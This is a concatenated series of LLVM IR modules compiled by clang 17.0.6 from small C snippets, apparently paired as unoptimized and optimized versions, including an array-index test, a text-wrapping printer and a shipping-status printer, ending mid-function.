; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @test_var_indexes() #0 {
%1 = alloca [3 x [2 x i32]], align 16
%2 = alloca i32, align 4
%3 = alloca i32, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %1, ptr align 16 @__const.test_var_indexes.a, i64 24, i1 false)
store i32 1, ptr %2, align 4
store i32 0, ptr %3, align 4
%4 = load i32, ptr %2, align 4
%5 = sext i32 %4 to i64
%6 = getelementptr inbounds [3 x [2 x i32]], ptr %1, i64 0, i64 %5
%7 = load i32, ptr %3, align 4
%8 = sext i32 %7 to i64
%9 = getelementptr inbounds [2 x i32], ptr %6, i64 0, i64 %8
%10 = load i32, ptr %9, align 4
%11 = icmp eq i32 %10, 2
%12 = zext i1 %11 to i32
%13 = call i32 @assertTrue(ptr noundef @.str, i32 noundef %12)
ret void
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @assertTrue(ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp9femj4qq.c'
source_filename = "/tmp/tmp9femj4qq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp9femj4qq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpah596hzr.c'
source_filename = "/tmp/tmpah596hzr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"%s%c\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%c\0A\00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c" \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @description_multiline(ptr noundef %0, i8 noundef signext %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i8, align 1
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i8 %1, ptr %5, align 1
store i32 %2, ptr %6, align 4
%11 = load i32, ptr %6, align 4
%12 = sub nsw i32 80, %11
%13 = sub nsw i32 %12, 1
store i32 %13, ptr %10, align 4
%14 = load ptr, ptr %4, align 8
%15 = call i32 @trim(ptr noundef %14)
%16 = load ptr, ptr %4, align 8
%17 = call i32 @strlen(ptr noundef %16)
%18 = load i32, ptr %10, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %24, label %20
20: ; preds = %3
%21 = load i8, ptr %5, align 1
%22 = sext i8 %21 to i32
%23 = icmp ne i32 %22, 32
br i1 %23, label %24, label %29
24: ; preds = %20, %3
%25 = load ptr, ptr %4, align 8
%26 = load i8, ptr %5, align 1
%27 = sext i8 %26 to i32
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %25, i32 noundef %27)
br label %144
29: ; preds = %20
br label %30
30: ; preds = %139, %29
%31 = load ptr, ptr %4, align 8
%32 = call i32 @strlen(ptr noundef %31)
%33 = icmp sgt i32 %32, 0
br i1 %33, label %34, label %140
34: ; preds = %30
%35 = load ptr, ptr %4, align 8
%36 = call i32 @strlen(ptr noundef %35)
store i32 %36, ptr %9, align 4
%37 = load ptr, ptr %4, align 8
%38 = call i32 @strlen(ptr noundef %37)
%39 = load i32, ptr %10, align 4
%40 = icmp sge i32 %38, %39
br i1 %40, label %41, label %68
41: ; preds = %34
store i32 0, ptr %7, align 4
br label %42
42: ; preds = %64, %41
%43 = load i32, ptr %7, align 4
%44 = load i32, ptr %10, align 4
%45 = icmp slt i32 %43, %44
br i1 %45, label %46, label %51
46: ; preds = %42
%47 = load i32, ptr %7, align 4
%48 = load ptr, ptr %4, align 8
%49 = call i32 @strlen(ptr noundef %48)
%50 = icmp slt i32 %47, %49
br label %51
51: ; preds = %46, %42
%52 = phi i1 [ false, %42 ], [ %50, %46 ]
br i1 %52, label %53, label %67
53: ; preds = %51
%54 = load ptr, ptr %4, align 8
%55 = load i32, ptr %7, align 4
%56 = sext i32 %55 to i64
%57 = getelementptr inbounds i8, ptr %54, i64 %56
%58 = load i8, ptr %57, align 1
%59 = sext i8 %58 to i32
%60 = icmp eq i32 %59, 32
br i1 %60, label %61, label %64
61: ; preds = %53
%62 = load i32, ptr %7, align 4
%63 = add nsw i32 %62, 1
store i32 %63, ptr %9, align 4
br label %64
64: ; preds = %61, %53
%65 = load i32, ptr %7, align 4
%66 = add nsw i32 %65, 1
store i32 %66, ptr %7, align 4
br label %42, !llvm.loop !6
67: ; preds = %51
br label %68
68: ; preds = %67, %34
store i32 0, ptr %7, align 4
br label %69
69: ; preds = %79, %68
%70 = load i32, ptr %7, align 4
%71 = load i32, ptr %10, align 4
%72 = icmp slt i32 %70, %71
br i1 %72, label %73, label %77
73: ; preds = %69
%74 = load i32, ptr %7, align 4
%75 = load i32, ptr %9, align 4
%76 = icmp slt i32 %74, %75
br label %77
77: ; preds = %73, %69
%78 = phi i1 [ false, %69 ], [ %76, %73 ]
br i1 %78, label %79, label %89
79: ; preds = %77
%80 = load ptr, ptr %4, align 8
%81 = load i32, ptr %7, align 4
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds i8, ptr %80, i64 %82
%84 = load i8, ptr %83, align 1
%85 = sext i8 %84 to i32
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %85)
%87 = load i32, ptr %7, align 4
%88 = add nsw i32 %87, 1
store i32 %88, ptr %7, align 4
br label %69, !llvm.loop !8
89: ; preds = %77
%90 = load i32, ptr %7, align 4
%91 = load ptr, ptr %4, align 8
%92 = call i32 @strlen(ptr noundef %91)
%93 = icmp slt i32 %90, %92
br i1 %93, label %94, label %136
94: ; preds = %89
%95 = load i32, ptr %7, align 4
store i32 %95, ptr %8, align 4
br label %96
96: ; preds = %113, %94
%97 = load i32, ptr %8, align 4
%98 = load ptr, ptr %4, align 8
%99 = call i32 @strlen(ptr noundef %98)
%100 = icmp slt i32 %97, %99
br i1 %100, label %101, label %116
101: ; preds = %96
%102 = load ptr, ptr %4, align 8
%103 = load i32, ptr %8, align 4
%104 = sext i32 %103 to i64
%105 = getelementptr inbounds i8, ptr %102, i64 %104
%106 = load i8, ptr %105, align 1
%107 = load ptr, ptr %4, align 8
%108 = load i32, ptr %8, align 4
%109 = load i32, ptr %7, align 4
%110 = sub nsw i32 %108, %109
%111 = sext i32 %110 to i64
%112 = getelementptr inbounds i8, ptr %107, i64 %111
store i8 %106, ptr %112, align 1
br label %113
113: ; preds = %101
%114 = load i32, ptr %8, align 4
%115 = add nsw i32 %114, 1
store i32 %115, ptr %8, align 4
br label %96, !llvm.loop !9
116: ; preds = %96
%117 = load ptr, ptr %4, align 8
%118 = load i32, ptr %8, align 4
%119 = load i32, ptr %7, align 4
%120 = sub nsw i32 %118, %119
%121 = sext i32 %120 to i64
%122 = getelementptr inbounds i8, ptr %117, i64 %121
store i8 0, ptr %122, align 1
%123 = load i8, ptr %5, align 1
%124 = sext i8 %123 to i32
%125 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %124)
store i32 0, ptr %8, align 4
br label %126
126: ; preds = %132, %116
%127 = load i32, ptr %8, align 4
%128 = load i32, ptr %6, align 4
%129 = icmp sle i32 %127, %128
br i1 %129, label %130, label %135
130: ; preds = %126
%131 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
br label %132
132: ; preds = %130
%133 = load i32, ptr %8, align 4
%134 = add nsw i32 %133, 1
store i32 %134, ptr %8, align 4
br label %126, !llvm.loop !10
135: ; preds = %126
br label %139
136: ; preds = %89
%137 = load ptr, ptr %4, align 8
%138 = getelementptr inbounds i8, ptr %137, i64 0
store i8 0, ptr %138, align 1
br label %139
139: ; preds = %136, %135
br label %30, !llvm.loop !11
140: ; preds = %30
%141 = load i8, ptr %5, align 1
%142 = sext i8 %141 to i32
%143 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %142)
br label %144
144: ; preds = %140, %24
ret void
}
declare i32 @trim(ptr noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpah596hzr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"%s%c\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%c\0A\00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c" \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @description_multiline(ptr noundef %0, i8 noundef signext %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i8, align 1
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i8 %1, ptr %5, align 1
store i32 %2, ptr %6, align 4
%11 = load i32, ptr %6, align 4
%12 = sub nsw i32 80, %11
%13 = sub nsw i32 %12, 1
store i32 %13, ptr %10, align 4
%14 = load ptr, ptr %4, align 8
%15 = call i32 @trim(ptr noundef %14)
%16 = load ptr, ptr %4, align 8
%17 = call i32 @strlen(ptr noundef %16)
%18 = load i32, ptr %10, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %24, label %20
20: ; preds = %3
%21 = load i8, ptr %5, align 1
%22 = sext i8 %21 to i32
%23 = icmp ne i32 %22, 32
br i1 %23, label %24, label %29
24: ; preds = %20, %3
%25 = load ptr, ptr %4, align 8
%26 = load i8, ptr %5, align 1
%27 = sext i8 %26 to i32
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %25, i32 noundef %27)
br label %151
29: ; preds = %20
%30 = load ptr, ptr %4, align 8
%31 = call i32 @strlen(ptr noundef %30)
%32 = icmp sgt i32 %31, 0
br i1 %32, label %.lr.ph5, label %147
.lr.ph5: ; preds = %29
br label %33
33: ; preds = %.lr.ph5, %143
%34 = load ptr, ptr %4, align 8
%35 = call i32 @strlen(ptr noundef %34)
store i32 %35, ptr %9, align 4
%36 = load ptr, ptr %4, align 8
%37 = call i32 @strlen(ptr noundef %36)
%38 = load i32, ptr %10, align 4
%39 = icmp sge i32 %37, %38
br i1 %39, label %40, label %67
40: ; preds = %33
store i32 0, ptr %7, align 4
br label %41
41: ; preds = %63, %40
%42 = load i32, ptr %7, align 4
%43 = load i32, ptr %10, align 4
%44 = icmp slt i32 %42, %43
br i1 %44, label %45, label %50
45: ; preds = %41
%46 = load i32, ptr %7, align 4
%47 = load ptr, ptr %4, align 8
%48 = call i32 @strlen(ptr noundef %47)
%49 = icmp slt i32 %46, %48
br label %50
50: ; preds = %45, %41
%51 = phi i1 [ false, %41 ], [ %49, %45 ]
br i1 %51, label %52, label %66
52: ; preds = %50
%53 = load ptr, ptr %4, align 8
%54 = load i32, ptr %7, align 4
%55 = sext i32 %54 to i64
%56 = getelementptr inbounds i8, ptr %53, i64 %55
%57 = load i8, ptr %56, align 1
%58 = sext i8 %57 to i32
%59 = icmp eq i32 %58, 32
br i1 %59, label %60, label %63
60: ; preds = %52
%61 = load i32, ptr %7, align 4
%62 = add nsw i32 %61, 1
store i32 %62, ptr %9, align 4
br label %63
63: ; preds = %60, %52
%64 = load i32, ptr %7, align 4
%65 = add nsw i32 %64, 1
store i32 %65, ptr %7, align 4
br label %41, !llvm.loop !6
66: ; preds = %50
br label %67
67: ; preds = %66, %33
store i32 0, ptr %7, align 4
br label %68
68: ; preds = %78, %67
%69 = load i32, ptr %7, align 4
%70 = load i32, ptr %10, align 4
%71 = icmp slt i32 %69, %70
br i1 %71, label %72, label %76
72: ; preds = %68
%73 = load i32, ptr %7, align 4
%74 = load i32, ptr %9, align 4
%75 = icmp slt i32 %73, %74
br label %76
76: ; preds = %72, %68
%77 = phi i1 [ false, %68 ], [ %75, %72 ]
br i1 %77, label %78, label %88
78: ; preds = %76
%79 = load ptr, ptr %4, align 8
%80 = load i32, ptr %7, align 4
%81 = sext i32 %80 to i64
%82 = getelementptr inbounds i8, ptr %79, i64 %81
%83 = load i8, ptr %82, align 1
%84 = sext i8 %83 to i32
%85 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %84)
%86 = load i32, ptr %7, align 4
%87 = add nsw i32 %86, 1
store i32 %87, ptr %7, align 4
br label %68, !llvm.loop !8
88: ; preds = %76
%89 = load i32, ptr %7, align 4
%90 = load ptr, ptr %4, align 8
%91 = call i32 @strlen(ptr noundef %90)
%92 = icmp slt i32 %89, %91
br i1 %92, label %93, label %140
93: ; preds = %88
%94 = load i32, ptr %7, align 4
store i32 %94, ptr %8, align 4
%95 = load i32, ptr %8, align 4
%96 = load ptr, ptr %4, align 8
%97 = call i32 @strlen(ptr noundef %96)
%98 = icmp slt i32 %95, %97
br i1 %98, label %.lr.ph, label %118
.lr.ph: ; preds = %93
br label %99
99: ; preds = %.lr.ph, %111
%100 = load ptr, ptr %4, align 8
%101 = load i32, ptr %8, align 4
%102 = sext i32 %101 to i64
%103 = getelementptr inbounds i8, ptr %100, i64 %102
%104 = load i8, ptr %103, align 1
%105 = load ptr, ptr %4, align 8
%106 = load i32, ptr %8, align 4
%107 = load i32, ptr %7, align 4
%108 = sub nsw i32 %106, %107
%109 = sext i32 %108 to i64
%110 = getelementptr inbounds i8, ptr %105, i64 %109
store i8 %104, ptr %110, align 1
br label %111
111: ; preds = %99
%112 = load i32, ptr %8, align 4
%113 = add nsw i32 %112, 1
store i32 %113, ptr %8, align 4
%114 = load i32, ptr %8, align 4
%115 = load ptr, ptr %4, align 8
%116 = call i32 @strlen(ptr noundef %115)
%117 = icmp slt i32 %114, %116
br i1 %117, label %99, label %._crit_edge, !llvm.loop !9
._crit_edge: ; preds = %111
br label %118
118: ; preds = %._crit_edge, %93
%119 = load ptr, ptr %4, align 8
%120 = load i32, ptr %8, align 4
%121 = load i32, ptr %7, align 4
%122 = sub nsw i32 %120, %121
%123 = sext i32 %122 to i64
%124 = getelementptr inbounds i8, ptr %119, i64 %123
store i8 0, ptr %124, align 1
%125 = load i8, ptr %5, align 1
%126 = sext i8 %125 to i32
%127 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %126)
store i32 0, ptr %8, align 4
%128 = load i32, ptr %8, align 4
%129 = load i32, ptr %6, align 4
%130 = icmp sle i32 %128, %129
br i1 %130, label %.lr.ph2, label %139
.lr.ph2: ; preds = %118
br label %131
131: ; preds = %.lr.ph2, %133
%132 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
br label %133
133: ; preds = %131
%134 = load i32, ptr %8, align 4
%135 = add nsw i32 %134, 1
store i32 %135, ptr %8, align 4
%136 = load i32, ptr %8, align 4
%137 = load i32, ptr %6, align 4
%138 = icmp sle i32 %136, %137
br i1 %138, label %131, label %._crit_edge3, !llvm.loop !10
._crit_edge3: ; preds = %133
br label %139
139: ; preds = %._crit_edge3, %118
br label %143
140: ; preds = %88
%141 = load ptr, ptr %4, align 8
%142 = getelementptr inbounds i8, ptr %141, i64 0
store i8 0, ptr %142, align 1
br label %143
143: ; preds = %140, %139
%144 = load ptr, ptr %4, align 8
%145 = call i32 @strlen(ptr noundef %144)
%146 = icmp sgt i32 %145, 0
br i1 %146, label %33, label %._crit_edge6, !llvm.loop !11
._crit_edge6: ; preds = %143
br label %147
147: ; preds = %._crit_edge6, %29
%148 = load i8, ptr %5, align 1
%149 = sext i8 %148 to i32
%150 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %149)
br label %151
151: ; preds = %147, %24
ret void
}
declare i32 @trim(ptr noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
|
; ModuleID = '/tmp/tmpilfuco18.c'
source_filename = "/tmp/tmpilfuco18.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @glmSign3f_(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @glmSign3f(ptr noundef %3, ptr noundef %4)
ret void
}
declare i32 @glmSign3f(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpilfuco18.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @glmSign3f_(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i32 @glmSign3f(ptr noundef %3, ptr noundef %4)
ret void
}
declare i32 @glmSign3f(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp8bxtykpq.c'
source_filename = "/tmp/tmp8bxtykpq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp8bxtykpq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3kpa2wlj.c'
source_filename = "/tmp/tmp3kpa2wlj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [28 x i8] c"Current State is: SHIPPING\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"Address recieved\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @getAddress() #0 {
%1 = call i32 @printf(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3kpa2wlj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [28 x i8] c"Current State is: SHIPPING\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"Address recieved\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @getAddress() #0 {
%1 = call i32 @printf(ptr noundef @.str)
%2 = call i32 @printf(ptr noundef @.str.1)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzj9jgc3d.c'
source_filename = "/tmp/tmpzj9jgc3d.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzj9jgc3d.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpnatjh697.c'
source_filename = "/tmp/tmpnatjh697.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"A\0A\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"B\0A\00", align 1
@.str.3 = private unnamed_addr constant [3 x i8] c"C\0A\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"D\0A\00", align 1
@.str.5 = private unnamed_addr constant [3 x i8] c"E\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
%3 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
